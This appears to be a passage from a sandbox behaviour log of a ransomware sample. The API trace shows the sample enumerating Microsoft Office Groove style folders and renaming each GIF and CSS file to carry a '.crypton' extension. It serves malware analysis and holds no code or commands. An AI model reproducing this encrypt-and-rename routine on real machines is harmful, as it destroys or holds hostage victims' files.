lpFindFileData=0x4a8380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbad99060, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbad99060, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000632, cFileName=".", cAlternateFileName="")) returned 0x549910 [0103.184] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0103.186] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0103.190] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay.css.crypton"), dwFlags=0x2) returned 1 [0103.196] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbade5320, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbade5320, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000632, cFileName=".", cAlternateFileName="")) returned 0x549910 [0103.198] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\background.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\background.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\background.gif.crypton"), dwFlags=0x2) returned 1 [0103.200] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\button.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\button.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\button.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\button.gif.crypton"), dwFlags=0x2) returned 1 [0103.203] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\tab_off.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\tab_off.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0103.205] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\tab_on.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange\\tab_on.gif.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0103.211] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange.css.crypton"), dwFlags=0x2) returned 1 [0103.218] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbae0b480, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbae0b480, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000632, cFileName=".", cAlternateFileName="")) returned 0x549910 [0103.220] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow\\header.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\HEADER.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow\\header.gif.crypton"), dwFlags=0x2) returned 1 [0103.222] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0103.225] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0103.229] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow.css.crypton"), dwFlags=0x2) returned 1 [0103.233] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Casual.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\casual.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Casual.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\casual.css.crypton"), dwFlags=0x2) returned 1 [0103.236] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Country.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\country.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Country.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\country.css.crypton"), dwFlags=0x2) returned 1 [0103.239] GetFileType (hFile=0x1b4) returned 0x1 [0103.243] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbae57740, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbae57740, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000632, cFileName=".", cAlternateFileName="")) returned 0x549910 [0103.245] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert\\header.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\HEADER.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert\\header.gif.crypton"), dwFlags=0x2) returned 1 [0103.247] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0103.251] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0103.255] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert.css.crypton"), dwFlags=0x2) returned 1 [0103.259] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Earthy.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\earthy.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Earthy.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\earthy.css.crypton"), dwFlags=0x2) returned 1 [0103.265] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbae7d8a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbae7d8a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000632, cFileName=".", cAlternateFileName="")) returned 0x549910 [0103.267] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck\\header.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\HEADER.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck\\header.gif.crypton"), dwFlags=0x2) returned 1 [0103.270] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0103.272] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0103.276] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck.css.crypton"), dwFlags=0x2) returned 1 [0103.280] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GreenTea.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\greentea.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GreenTea.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\greentea.css.crypton"), dwFlags=0x2) returned 1 [0103.284] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\LightSpirit.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lightspirit.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\LightSpirit.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lightspirit.css.crypton"), dwFlags=0x2) returned 1 [0103.285] GetFileType (hFile=0x1b4) returned 0x1 [0103.290] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbaec9b60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbaec9b60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000632, cFileName=".", cAlternateFileName="")) returned 0x549910 [0103.292] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0103.294] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0103.299] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime.css.crypton"), dwFlags=0x2) returned 1 [0103.302] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Maroon.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\maroon.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Maroon.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\maroon.css.crypton"), dwFlags=0x2) returned 1 [0103.304] GetFileType (hFile=0x1b4) returned 0x1 [0103.308] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbaeefcc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbaeefcc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000632, cFileName=".", cAlternateFileName="")) returned 0x549910 [0103.312] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis\\header.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\HEADER.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis\\header.gif.crypton"), dwFlags=0x2) returned 1 [0103.314] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 [0103.317] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis\\tab_on.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\TAB_ON.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis\\tab_on.gif.crypton"), dwFlags=0x2) returned 1 [0103.322] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis.css.crypton"), dwFlags=0x2) returned 1 [0103.325] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\OliveGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\olivegreen.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\OliveGreen.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\olivegreen.css.crypton"), dwFlags=0x2) returned 1 [0103.329] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Premium.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\premium.css"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Premium.css.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\premium.css.crypton"), dwFlags=0x2) returned 1 [0103.331] GetFileType (hFile=0x1b4) returned 0x1 [0103.336] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate\\*", lpFindFileData=0x4a8380 | out: lpFindFileData=0x4a8380*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528f6190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbaf3bf80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbaf3bf80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x34000632, cFileName=".", cAlternateFileName="")) returned 0x549910 [0103.337] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate\\tab_off.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate\\TAB_OFF.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate\\tab_off.gif.crypton"), dwFlags=0x2) returned 1 